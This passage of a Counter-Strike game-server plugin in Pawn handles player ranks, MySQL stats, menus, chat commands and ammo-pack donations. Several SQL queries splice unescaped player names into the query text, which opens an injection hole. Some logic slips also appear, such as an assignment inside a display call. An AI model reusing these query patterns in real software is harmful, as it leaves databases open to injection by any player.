1792 set_task(300.0, "timeUpdate", Client + 400, "", 0, "b", 0);
1793 }
1794}
1795
1796public timeUpdate(iTask)
1797{
1798 if (is_user_connected(iTask + -400) && !is_user_bot(iTask + -400) && !is_user_hltv(iTask + -400))
1799 {
1800 g_Time[iTask + -400] += 2;
1801
1802 computeTimeLength(g_Time[iTask + -400], \
1803 timeUnit_Minutes, g_timeString[iTask + -400], charsmax(g_timeString[]));
1804
1805 formatex(g_Query, charsmax(g_Query), \
1806 "UPDATE Players SET Time = %d, timeString = '%s' WHERE Name = '%s';", \
1807 g_Time[iTask + -400], g_timeString[iTask + -400], g_Name[iTask + -400]);
1808
1809 SQL_ThreadQuery(g_Tuple, "emptyFunction", g_Query);
1810 }
1811}
1812
1813public rankPrepared(Client)
1814{
1815 static queryData[32] = { 0, ... };
1816
1817 if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
1818 {
1819 set_dhudmessage(0, 255, 0, 0.02, 0.70, 2, 6.0, 3.0);
1820 show_dhudmessage(Client, "You are now ranked!");
1821
1822 num_to_str(Client, queryData, charsmax(queryData));
1823
1824 formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue \
1825 FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", g_kmdValue[Client]);
1826
1827 SQL_ThreadQuery(g_Tuple, "showRank", g_Query, queryData, sizeof(queryData));
1828
1829 g_bRanked[Client] = true;
1830 }
1831}
1832
1833public showRank(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1834{
1835 static Client = 0, Rank = 0, rankString[16], recordsString[16], scoreString[16], killsString[16], deathsString[16], headShotsString[16];
1836
1837 if (failState != 0 || errorId != 0)
1838 {
1839 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ showRank()");
1840 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1841 }
1842
1843 else if (queueTime > 15.0)
1844 {
1845 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ showRank() : This query took 15.0 seconds. \
1846 Talk to the game host company tell them the MySQL database works too slow.");
1847 }
1848
1849 Client = str_to_num(Data);
1850
1851 if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
1852 {
1853 Rank = SQL_NumResults(Query);
1854
1855 AddCommas(Rank, rankString, charsmax(rankString));
1856 AddCommas(g_recordsCount, recordsString, charsmax(recordsString));
1857 AddCommas(g_Kills[Client], killsString, charsmax(killsString));
1858 AddCommas(g_Deaths[Client], deathsString, charsmax(deathsString));
1859 AddCommas(g_Score[Client], scoreString, charsmax(scoreString));
1860 AddCommas(g_headShots[Client], headShotsString, charsmax(headShotsString));
1861
1862 new HostName [64]; get_cvar_string ( "hostname", HostName, charsmax ( HostName ) );
1863
1864 set_dhudmessage(0, 255, 0, 0.02, 0.2, 2, 0.02, 1.0, 0.21, 10.0);
1865 show_dhudmessage(Client, "Welcome, %s^nRank: %s of %s Score: %d^nKills: %s Deaths: %s KPD: %0.2f^nOnline: %s^nEnjoy!",
1866 g_Name[Client], rankString, recordsString, g_Score[Client] = 1000, \
1867 killsString, deathsString, g_kpdRatio[Client], g_timeString[Client]);
1868
1869
1870 set_dhudmessage(157, 103, 200, 0.02, 0.5, 2, 6.0, 8.0)
1871 show_dhudmessage(Client, "%s^nDon't forget to add us to your favourites!",HostName);
1872 }
1873}
1874
1875public printRankChat(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1876{
1877 static cScore[15];
1878 static cDeaths[15];
1879 static cKills[15];
1880 static cTotal[15];
1881 static cRank[15];
1882 static Rank;
1883 static iPlayer;
1884 iPlayer = str_to_num(Data);
1885 Rank = SQL_NumResults(Query);
1886 AddCommas(Rank, cRank, 15);
1887 AddCommas(g_recordsCount, cTotal, 15);
1888 AddCommas(g_Deaths[iPlayer], cDeaths, 15);
1889 AddCommas(g_Kills[iPlayer], cKills, 15);
1890 AddCommas(g_Score[iPlayer], cScore, 15);
1891 g_iMenu = menu_create("Ranking", "EmptyPanel", 0);
1892 formatex(g_cQuery, 255, "Rank: %s of %s Score: %s", cRank, cTotal, cScore);
1893 menu_additem(g_iMenu, g_cQuery, "1", 0, -1);
1894 if (failState != 0 || errorId != 0)
1895 {
1896 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ printRankChat()");
1897 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1898 }
1899 else if (queueTime > 15.0)
1900 {
1901 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ printRankChat() : This query took 15.0 seconds. \
1902 Talk to the game host company tell them the MySQL database works too slow.");
1903 }
1904 formatex(g_cQuery, 255, "Kills: %s Deaths: %s KPD: %0.2f", cKills, cDeaths, g_kpdRatio[iPlayer]);
1905 menu_additem(g_iMenu, g_cQuery, "2", 0, -1);
1906 formatex(g_cQuery, 255, "Online: %s", g_timeString[iPlayer]);
1907 menu_additem(g_iMenu, g_cQuery, "3", 0, -1);
1908 menu_setprop(g_iMenu, 6, -1);
1909 menu_display(iPlayer, g_iMenu, 0);
1910
1911 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1's rank is^4 %s^1 of ^4%s^1 --^3 %0.2f KPD", g_cName[iPlayer], cRank, cTotal, g_kpdRatio[iPlayer]);
1912 return 0;
1913}
1914
1915public EmptyPanel(iPlayer, iMenu, iItem)
1916{
1917 return 0;
1918}
1919
1920public plugin_init()
1921{
1922 new i = 0;
1923 new cNumber[3];
1924 new cLine[128];
1925 new cTime[4];
1926 get_time("%H", cTime, 3);
1927 register_dictionary("common.txt");
1928 RegisterHam(Ham_Spawn, "player", "OnPlayerSpawn", 1);
1929 RegisterHam(Ham_TakeDamage, "player", "OnTakeDamage", 0);
1930 RegisterHam(Ham_TakeDamage, "player", "OnTakeDamagePost", 1);
1931 RegisterHam(Ham_Killed, "player", "OnKilled", 0);
1932 RegisterHam(Ham_Item_PreFrame, "player", "OnPreFrame", 1);
1933 RegisterHam(Ham_TraceAttack, "player", "OnTraceAttack", 0);
1934 RegisterHam(Ham_Touch, "weaponbox", "OnTouch");
1935 RegisterHam(Ham_Touch, "armoury_entity", "OnTouch");
1936 RegisterHam(Ham_Touch, "weapon_shield", "OnTouch")
1937 RegisterHam(Ham_Think, "grenade", "OnGrenadeThink", 0);
1938 RegisterHam(Ham_Player_Jump, "player", "OnPlayerJump", 0);
1939 RegisterHam(Ham_TraceAttack, "player", "Golden_Ak_Tracer", 1 );
1940 RegisterHam(Ham_TraceAttack, "player", "Golden_Deagle_Tracer", 1 );
1941 RegisterHam(Ham_Think, "grenade", "fw_ThinkGrenade")
1942 register_forward(FM_SetModel, "fwSetModel");
1943 register_forward(FM_ClientUserInfoChanged, "fwdClientUserInfoChanged");
1944 register_forward(FM_GetGameDescription, "fwGetGameDescription");
1945 register_forward(FM_SetModel, "fw_SetModel");
1946 register_forward(FM_PlayerPreThink, "OnPlayerDuck");
1947 register_forward(FM_EmitSound, "fwEmitSound");
1948 register_forward(FM_PlayerPreThink, "PlayerPreThink" );
1949 register_forward(FM_UpdateClientData, "fw_UpdateClientData");
1950 register_forward(FM_TraceLine, "FW_TraceLine_Post", 1);
1951 register_forward(FM_PlayerPreThink, "FW_PlayerPreThink");
1952 register_forward(FM_ClientKill, "fwClientKill");
1953 register_think("zp_trip_mine", "Forward_Think");
1954 unregister_forward(FM_Spawn, iFwSpawnHook)
1955 register_logevent("EventRoundEnd", 2, "1=Round_End");
1956 register_logevent("EventRoundStart", 2, "1=Round_Start");
1957 register_logevent("Event_RoundStart", 2, "1=Round_Start");
1958 register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
1959 register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
1960 register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
1961 register_event("CurWeapon", "EventCurWeapon", "be", "1=1");
1962 register_event("CurWeapon", "UpdateWeapon", "be", "1=1", "3=13", "3=15", "3=20", "3=25", "3=30", "3=35", "3=12", "3=10", "3=100", "3=8", "3=7", "3=50");
1963 register_event("DeathMsg", "OnDeathMsg", "a");
1964 register_message(get_user_msgid("Scenario"), "MessageScenario");
1965 register_message(get_user_msgid("HostagePos"), "MessageHostagepos");
1966 register_message(get_user_msgid("Health"), "MessageHealth");
1967 register_message(get_user_msgid("Money"), "MessageMoney");
1968 register_message(get_user_msgid("TeamInfo"), "MessageTeamInfo");
1969 register_message(get_user_msgid("CurWeapon"), "message_cur_weapon");
1970 set_msg_block(get_user_msgid("TextMsg"), 2);
1971 set_msg_block(get_user_msgid("SendAudio"), 2);
1972 set_msg_block(get_user_msgid("AmmoPickup"), 2);
1973 set_msg_block(get_user_msgid("WeapPickup"), 2);
1974 g_iGameMenu = menu_create("Game Menu", "_GameMenu", 0);
1975 g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", 0);
1976 g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", 0);
1977 g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", 0);
1978 menu_additem(g_iGameMenu, "Buy extra items", "0", 0, -1);
1979 menu_additem(g_iGameMenu, "Choose zombie class", "1", 0, -1);
1980 menu_additem(g_iGameMenu, "Buy features with points", "2", 0, -1);
1981 menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
1982 menu_additem(g_iGameMenu, "See rank", "4", 0, -1);
1983 menu_additem(g_iGameMenu, "See top and all statistics", "5", 0, -1);
1984 i = 0;
1985 while (i < 7)
1986 {
1987 formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
1988 num_to_str(i, cNumber, 3);
1989 menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
1990 i++;
1991 }
1992 i = 0;
1993 while (i < 6)
1994 {
1995 num_to_str(i, cNumber, 3);
1996 menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
1997 g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
1998 i++;
1999 }
2000 i = 0;
2001 while (i < 10)
2002 {
2003 num_to_str(i, cNumber, 3);
2004 menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
2005 g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
2006 i++;
2007 }
2008 g_iTimeLimit = get_cvar_pointer("mp_timelimit");
2009 g_aNameData = ArrayCreate(32, 1);
2010 g_aAmmoData = ArrayCreate(1, 1);
2011 g_iAntidoteSync = CreateHudSyncObj(0);
2012 g_iTopMessageSync = CreateHudSyncObj(0);
2013 g_iCounterMessage = CreateHudSyncObj(0);
2014 g_iCenterMessageSync = CreateHudSyncObj(0);
2015 g_iDownMessageSync = CreateHudSyncObj(0);
2016 g_iVersusSync = CreateHudSyncObj(0);
2017 g_iShopEventHudmessage = CreateHudSyncObj(0);
2018 g_iEventsHudmessage = CreateHudSyncObj(0);
2019 g_iMineMessage = CreateHudSyncObj(0);
2020 g_iSecondMineMessage = CreateHudSyncObj(0);
2021 g_iRemainingSync = CreateHudSyncObj(0);
2022 g_iRegenerationSync = CreateHudSyncObj(0);
2023 g_iMaxClients = get_maxplayers();
2024 register_concmd("amx_human", "CmdMode", -1, "", -1);
2025 register_concmd("amx_zombie", "CmdMode", -1, "", -1);
2026 register_concmd("amx_nemesis", "CmdMode", -1, "", -1);
2027 register_concmd("amx_swarm", "CmdMode", -1, "", -1);
2028 register_concmd("amx_plague", "CmdMode", -1, "", -1);
2029 register_concmd("amx_armageddon", "CmdMode", -1, "", -1);
2030 register_concmd("amx_nightmare", "CmdMode", -1, "", -1);
2031 register_concmd("amx_multiple", "CmdMode", -1, "", -1);
2032 register_concmd("amx_sniper", "CmdMode", -1, "", -1);
2033 register_concmd("amx_survivor", "CmdMode", -1, "", -1);
2034 register_concmd("amx_assassins_vs_snipers", "CmdMode", -1, "", -1);
2035 register_concmd("amx_assassin", "CmdMode", -1, "", -1);
2036 register_concmd("amx_respawn", "CmdMode", -1, "", -1);
2037 register_concmd("amx_ammo", "CmdMode", -1, "", -1);
2038 register_concmd("amx_points", "CmdPoints", -1, "", -1);
2039 register_concmd("amx_plugins", "cmdPlugins", -1, "", -1);
2040 register_concmd("amx_kick", "CmdKick", -1, "", -1);
2041 register_concmd("amx_slay", "CmdSlay", -1, "", -1);
2042 register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
2043 register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
2044 register_concmd("amx_destroy", "CmdDestroy", -1, "", -1);
2045 register_concmd("amx_gag", "CmdGag", -1, "", -1);
2046 register_concmd("amx_ungag", "CmdGag", -1, "", -1);
2047 register_concmd("amx_slap", "CmdSlap", -1, "", -1);
2048 register_concmd("amx_map", "CmdMap", -1, "", -1);
2049 register_concmd("amx_exec", "CmdExec", -1, "", -1);
2050 register_concmd("amx_last", "CmdLast", -1, "", -1);
2051 register_concmd("amx_ban", "CmdBan", -1, "", -1);
2052 register_concmd("amx_unban", "CmdUnBan", -1, "", -1);
2053 register_concmd("amx_addban", "CmdAddBan", -1, "", -1);
2054 register_concmd("amx_chat", "CmdChat", -1, "", -1);
2055 register_concmd("amx_say", "CmdSayChat", -1, "", -1);
2056 register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
2057 register_clcmd("drop", "CmdDrop", -1, "", -1);
2058 register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
2059 register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
2060 register_clcmd("amx_password_for_slot", "CommandGetSlot", -1, "", -1);
2061 register_clcmd("amx_password_for_model", "CommandGetModel", -1, "", -1);
2062 register_clcmd("plant_mine", "CmdPlantMine", -1, "", -1);
2063 register_clcmd("take_mine", "CmdTakeMine", -1, "", -1);
2064 register_clcmd("nightvision", "CmdNightVision", -1, "", -1);
2065 register_clcmd("jointeam", "CmdJoinTeam", -1, "", -1);
2066 register_clcmd("chooseteam", "CmdJoinTeam", -1, "", -1);
2067 register_clcmd("say", "Client_Say", -1, "", -1);
2068 register_clcmd("say", "ClientCommand_Say", -1, "", -1);
2069 register_clcmd("say_team", "ClientCommand_Say", -1, "", -1);
2070 register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
2071 register_clcmd("fullupdate", "CmdUpdate", -1, "", -1);
2072 register_clcmd("fullupdaterate", "CmdUpdate", -1, "", -1);
2073 register_cvar("amx_vote_ratio", "0.02")
2074 register_cvar("amx_show_activity", "2")
2075 register_cvar("amx_time_voice", "1")
2076 register_cvar("amx_client_languages", "0")
2077 register_cvar("amx_debug", "1")
2078 register_cvar("amx_vote_time", "10")
2079 register_cvar("amx_vote_answers", "1")
2080 register_cvar("amx_vote_delay", "60")
2081 register_cvar("amx_last_voting", "0")
2082 register_cvar("amx_votemap_ratio", "0.40")
2083 set_cvar_float("amx_last_voting", 0.0)
2084 //set_task(0.01, "TaskAxaxa", 0, "", 0, "", 0);
2085 set_task(10.0, "Rays", .flags="b");
2086 set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
2087 set_task(6.20, "TaskHudMess", 0, "", 0, "", 0);
2088 set_task(33.50, "TaskAdvertisements", 0, "", 0, "b", 0);
2089 new cfgs[128];
2090 get_configsdir(cfgs, 127)
2091 add(cfgs, 127, "/vips.ini")
2092
2093 new file = fopen(cfgs, "r")
2094 if (file)
2095 {
2096 new line[512], name[64], pwd[64], flags[64]
2097
2098 while (!feof(file))
2099 {
2100 fgets(file, line ,511)
2101 trim(line)
2102 if (!line[0] || line[0] == '/' || line[0] == ';' || line[0] == '#')
2103 continue;
2104 new r=parse(line, name,63,pwd,63,flags,63)
2105 if (r < 3) continue;
2106 ArrayPushString(g_vname, name)
2107 ArrayPushString(g_vpwd, pwd)
2108 ArrayPushString(g_vflags, flags)
2109 }
2110
2111 fclose(file)
2112 }
2113 g_Tuple = SQL_MakeDbTuple(SQL_Server, SQL_Person, SQL_Password, SQL_Database);
2114 if (g_Tuple == Empty_Handle)
2115 {
2116 g_Tuple = SQL_MakeDbTuple(SQL_Server, SQL_Person, SQL_Password, SQL_Database);
2117
2118 if (g_Tuple == Empty_Handle)
2119 {
2120 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_MakeDbTuple() failed @ plugin_init()");
2121
2122 return set_fail_state("SQL_MakeDbTuple() failed @ plugin_init()");
2123 }
2124 }
2125 SQL_ThreadQuery(g_Tuple, "emptyFunction", "CREATE TABLE IF NOT EXISTS Players \
2126 (Name TEXT, Steam TEXT, Ip TEXT, Score NUMERIC, Kills NUMERIC, Deaths NUMERIC, \
2127 headShots NUMERIC, Time NUMERIC, timeString TEXT, Seen NUMERIC, seenString TEXT, kpdRatio FLOAT, \
2128 kmdValue NUMERIC);");
2129 SQL_ThreadQuery(g_Tuple, "recordsCount", "SELECT Kills FROM Players");
2130 return 0;
2131}
2132
2133public fwdClientUserInfoChanged( id, szInfoKey )
2134{
2135 if ( is_user_connected( id ) )
2136 return FMRES_IGNORED;
2137 static szNewName[ 32 ];
2138 static szCurrentName[ 32 ];
2139 get_user_name( id, szCurrentName, sizeof ( szCurrentName ) -1 );
2140 engfunc( EngFunc_InfoKeyValue, szInfoKey, "name", szNewName, sizeof ( szNewName ) - 1 );
2141
2142 if( equal( szNewName, szCurrentName ) )
2143 return FMRES_IGNORED;
2144 for( new i = 0; i < sizeof ( g_szRestrictedThings ); i++ )
2145 if( containi( szNewName, g_szRestrictedThings[ i ] ) != -1 )
2146 engfunc( EngFunc_SetClientKeyValue, id, szInfoKey, "name", g_szDefaultName );
2147
2148 return FMRES_SUPERCEDE;
2149}
2150
2151public plugin_cfg()
2152{
2153 set_task( 0.5, "ReadCommandVars", 3426422 );
2154}
2155
2156public ReadCommandVars( )
2157{
2158 g_iPing = clamp( 12, 0, 4095 );
2159 g_iFlux = clamp( 4, 0, 4095 );
2160
2161 set_task( 2.0, "calculate_arguments", 4235621, _, _, "b" );
2162}
2163
2164public plugin_natives()
2165{
2166 register_library("NewStats");
2167 register_native("NewStats_GetStats", "NewStats_GetStats");
2168 register_native("NewStats_GetTop15", "NewStats_GetTop15");
2169}
2170
2171public TaskHudMess()
2172{
2173 new iFile;
2174 new cLine[161];
2175 iFile = fopen("addons/amxmodx/configs/z_out_advertisements.ini", "r");
2176 if (iFile)
2177 {
2178 while (!feof(iFile))
2179 {
2180 fgets(iFile, cLine, 160);
2181 trim(cLine);
2182 if (cLine[0] == 33)
2183 {
2184 copy(g_cAdvertisements[g_iAdvertisementsCount], 160, cLine);
2185 replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!g", "^4");
2186 replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!t", "^3");
2187 replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!n", "^1");
2188 g_iAdvertisementsCount += 1;
2189 }
2190 }
2191 fclose(iFile);
2192 }
2193 iFile = fopen("addons/amxmodx/configs/z_out_hud_advertisements.ini", "r");
2194 if (iFile)
2195 {
2196 while (!feof(iFile))
2197 {
2198 fgets(iFile, cLine, 160);
2199 trim(cLine);
2200 if (4 < strlen(cLine))
2201 {
2202 copy(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, cLine);
2203 replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, "\n", "^n");
2204 g_iHudAdvertisementsCount += 1;
2205 }
2206 }
2207 fclose(iFile);
2208 }
2209 return 0;
2210}
2211
2212
2213public TaskCheckName( id )
2214{
2215 if (g_bConnected[id])
2216 {
2217 new szName[ 32 ];
2218 get_user_name( id, szName, sizeof ( szName ) -1 );
2219
2220 for( new i = 0; i < sizeof ( g_szRestrictedThings ); i++ )
2221 {
2222 if( containi( szName, g_szRestrictedThings[ i ] ) != -1 )
2223 {
2224 set_user_info( id, "name", g_szDefaultName );
2225 }
2226 }
2227 }
2228 return 0;
2229}
2230
2231public CmdBlock()
2232{
2233 return 1;
2234}
2235
2236public CmdUpdate(iPlayer)
2237{
2238 static Float:fGameTime;
2239 fGameTime = get_gametime();
2240 if (floatsub(fGameTime, g_fLast[iPlayer]) < 0.30)
2241 {
2242 server_cmd("kick #%d You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cPlayerAddress[iPlayer]);
2243 }
2244 else
2245 {
2246 g_fLast[iPlayer] = fGameTime;
2247 }
2248 return 0;
2249}
2250
2251public ChangeModel(iTask)
2252{
2253 static bool:bChange;
2254 static cModel[24];
2255 static i;
2256 static iPlayer;
2257 iPlayer = iTask + -250;
2258 bChange = true;
2259 get_user_model(iPlayer, cModel, 24);
2260 if (!g_bZombie[iPlayer])
2261 {
2262 if (!g_iPlayerType[iPlayer])
2263 {
2264 if (get_user_flags ( iPlayer ) & read_flags ( "m" ) && !g_vip[iPlayer])
2265 {
2266 if (equal(cModel, "z_out_admin"))
2267 {
2268 bChange = false;
2269 }
2270 }
2271 if (g_vip[iPlayer])
2272 {
2273 if (equal(cModel, "DanDiaconescu"))
2274 {
2275 bChange = false;
2276 }
2277 }
2278 i = 0;
2279 while (i < 4)
2280 {
2281 if (equal(cModel, g_cHumanModels[i]))
2282 {
2283 bChange = false;
2284 }
2285 i += 1;
2286 }
2287 }
2288 }
2289 if (bChange)
2290 {
2291 if (!g_bZombie[iPlayer])
2292 {
2293 if (!g_iPlayerType[iPlayer])
2294 {
2295 if (get_user_flags ( iPlayer ) & read_flags ( "m" ) && !g_vip[iPlayer])
2296 {
2297 set_user_model(iPlayer, "z_out_admin");
2298 }
2299 else
2300 {
2301 if (g_vip[iPlayer])
2302 {
2303 set_user_model(iPlayer, "DanDiaconescu");
2304 }
2305 else
2306 {
2307 set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
2308 }
2309 }
2310 }
2311 else
2312 {
2313 if (g_iPlayerType[iPlayer] & 4)
2314 {
2315 set_user_model(iPlayer, "z_out_survivor");
2316 }
2317 if (g_iPlayerType[iPlayer] & 8 && !equal(cModel, "arctic"))
2318 {
2319 set_user_model(iPlayer, "arctic");
2320 }
2321 }
2322 }
2323 else
2324 {
2325 if (!g_iPlayerType[iPlayer])
2326 {
2327 set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
2328 }
2329 if (g_iPlayerType[iPlayer] & 1)
2330 {
2331 set_user_model(iPlayer, "z_out_nemesis");
2332 }
2333 if (g_iPlayerType[iPlayer] & 2)
2334 {
2335 set_user_model(iPlayer, "z_out_assassin");
2336 }
2337 }
2338 }
2339 return 0;
2340}
2341
2342public ShowMenuClasses(iPlayer)
2343{
2344 if (!g_bFake[iPlayer])
2345 {
2346 menu_display(iPlayer, g_iMenuZombieClasses, 0);
2347 }
2348 return 0;
2349}
2350
2351public Client_Say(iPlayer)
2352{
2353 static cMessage[150];
2354 static name[32];
2355 static motd[2048];
2356 static len = 0;
2357 static queryData[32] = { 0, ... }
2358 static Float:fGameTime;
2359 fGameTime = get_gametime();
2360 if (g_fGagTime[iPlayer] > fGameTime)
2361 {
2362 return 1;
2363 }
2364 read_args(cMessage, 149);
2365 remove_quotes(cMessage);
2366 if (equali(cMessage, "/rank", 5) || equali(cMessage, "rank", 4))
2367 {
2368 if (!g_bRanked[iPlayer])
2369 {
2370 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are not ranked yet!");
2371 }
2372 else
2373 {
2374 if (floatsub(fGameTime, g_fLastRankQuery) < 3.0)
2375 {
2376 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have to wait^3 %0.1f seconds^1 until next command!", g_fLastRankQuery + 3.00 - fGameTime);
2377 }
2378 g_fLastRankQuery = fGameTime;
2379 num_to_str(iPlayer, queryData, charsmax(queryData));
2380
2381 formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", g_kmdValue[iPlayer]);
2382
2383 SQL_ThreadQuery(g_Tuple, "printRankChat", g_Query, queryData, sizeof(queryData));
2384 }
2385 }
2386 else
2387 {
2388 if (equali(cMessage, "/gold", 5) || equali(cMessage, "/vip", 4) || equali(cMessage, "vip", 3) || equali(cMessage, "gold", 4))
2389 {
2390 new Text[1501];
2391 add(Text, 1500, "<body bgcolor=#000000><font color=AAE500><pre>Contact Skype : Nume<br><br>Monthly Price | Pret Lunar : 5 EUR 7 USD 25 RON<br><br>Features | Caracteristici<br>* Higher Damage ", 0);
2392 add(Text, 1500, "+ More Ammo Packs | Mai Multe Daune + Mai Multe Pachete Ammo<br>* +200 Health in Spawn | +200 Viata la Spawn<br>* +50 Armor in Spawn | +50 Armura la Spawn<br>* Double Jump in Spawn | Saritura Dubla din Spawn<br>* Special Laser ", 0);
2393 add(Text, 1500, "Rays -- Ability to View Through Walls | Raze Laser Speciale -- Abilitate sa Vezi Prin Pereti<br>* White Player Model | Model Alb de Jucator<br>* VIP Tag in Score Table | Tag VIP in Tabla de Scoruri</pre></font></body>", 0);
2394 show_motd(iPlayer, Text, "Gold Member Info");
2395 }
2396 if (equali(cMessage, "/top", 4) || equali(cMessage, "top", 3))
2397 {
2398 }
2399 if (equali(cMessage, "/maps", 0) || equali(cMessage, "maps", 0))
2400 {
2401 len = formatex(motd, charsmax(motd), "<body bgcolor=#000000><center><font color=red size=4><b>* MAPS *</b></font><br />");
2402
2403 new file=fopen("addons/amxmodx/configs/maps.ini","r");
2404 if (file)
2405 {
2406 while (!feof(file))
2407 {
2408 fgets(file,name,31)
2409 trim(name);
2410 if (strlen(name)<1||name[0]=='/'||name[0]=='#'||name[0]==';')
2411 continue
2412
2413 len += formatex(motd[len], charsmax(motd) - len, "<font color=gray size=3><b>%s</b></font><br />", name);
2414 }
2415 fclose(file);
2416 }
2417
2418 len += formatex(motd[len], charsmax(motd) - len, "</center></body>");
2419
2420 show_motd(iPlayer, motd, "Server's Maps");
2421 }
2422 if (equali(cMessage, "/rs", 3) || equali(cMessage, "Rs", 2) || equali(cMessage, "Reset", 5) || equali(cMessage, "Reset", 5))
2423 {
2424 get_user_name(iPlayer, name, charsmax(name));
2425
2426 set_user_frags(iPlayer, 0);
2427 cs_set_user_deaths(iPlayer, 0);
2428
2429 set_user_frags(iPlayer, 0);
2430 cs_set_user_deaths(iPlayer, 0);
2431
2432 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has reset their score!", name);
2433 }
2434 if (equali(cMessage, "/timeleft", 0) || equali(cMessage, "timeleft", 0))
2435 {
2436 static iTimeleft;
2437 iTimeleft = floatround(GetTimeLeft(), floatround_round);
2438 if (!get_cvar_num("mp_timelimit"))
2439 {
2440 client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [no time limit]");
2441 }
2442 else
2443 {
2444 if (get_cvar_num("mp_timelimit") == 4096)
2445 {
2446 client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
2447 }
2448 if (0 < iTimeleft)
2449 {
2450 client_print_color(iPlayer, print_team_grey, "^1Time left:^4 %d:%02d", iTimeleft / 60, iTimeleft % 60);
2451 }
2452 else
2453 {
2454 client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
2455 }
2456 }
2457 }
2458 if (equali(cMessage, "/nextmap", 0) || equali(cMessage, "nextmap", 0))
2459 {
2460 static cMap[32];
2461 get_cvar_string("nextmap", cMap, 32);
2462 if (cMap[0])
2463 {
2464 client_print_color(iPlayer, print_team_default, "^1Next map:^4 %s", cMap);
2465 }
2466 else
2467 {
2468 client_print_color(iPlayer, print_team_default, "^1Next map:^4 [not yet voted on]");
2469 }
2470 }
2471 if (equali(cMessage, "/thetime", 0) || equali(cMessage, "thetime", 0))
2472 {
2473 static cTime[64];
2474 get_time("%d/%m/%Y - %H:%M:%S", cTime, 63);
2475 client_print_color(0, print_team_grey, "^1The Time:^1 %s", cTime);
2476 }
2477 if (equali(cMessage, "/currentmap", 0) || equali(cMessage, "currentmap", 0))
2478 {
2479 static cMap[32];
2480 get_mapname(cMap, 32);
2481 client_print_color(0, print_team_grey, "Current map:^4 %s", cMap);
2482 }
2483 if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
2484 {
2485 new args[128];
2486 read_args(args, 127)
2487 trim(args)
2488 remove_quotes(args)
2489 trim(args)
2490
2491 new val[32], target[32], ammo[32], plr;
2492 new res = parse(args, val, 31, target, 31, ammo, 31)
2493
2494 if (res != 3)
2495 return 0;
2496 if (!equali(val, "donate") && !equali(val[1], "donate"))
2497 return 0;
2498
2499 plr = cmd_target(iPlayer,target, 0)
2500
2501 if (!plr)
2502 {
2503 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Invalid target.")
2504 return 1
2505 }
2506
2507 new amount = str_to_num(ammo)
2508 if (amount < 1)
2509 {
2510 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Invalid amount.")
2511 return 1
2512 }
2513
2514 if (amount > g_iPacks[iPlayer])
2515 {
2516 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs.")
2517 return 1
2518 }
2519
2520 g_iPacks[plr] += amount
2521 g_iPacks[iPlayer] -= amount
2522
2523 new ammostr[32]
2524 AddCommas(amount, ammostr, 31)
2525 client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 donated^4 %s Packs^1 to^3 %s", g_cName[iPlayer], ammostr, g_cName[plr])
2526 return 1;
2527 }
2528 if (equal(cMessage, "/lm", 0) || equal(cMessage, "lm", 0))
2529 {
